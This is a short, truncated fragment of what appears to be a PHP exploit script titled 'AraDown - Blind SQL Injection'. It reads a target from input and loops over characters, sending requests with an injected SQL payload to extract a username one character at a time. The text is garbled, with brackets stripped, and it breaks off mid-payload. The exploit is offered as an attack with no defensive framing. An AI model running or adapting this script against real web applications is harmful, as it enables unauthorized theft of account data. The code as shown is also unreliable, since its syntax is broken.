AraDown - Blind SQL Injection

"; $target = stdin; $ar = array'1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'; echo " Username : "; for$i=1;$i=30;$i++ foreach$ar as $char $b = send'http://server',"3' and select subst...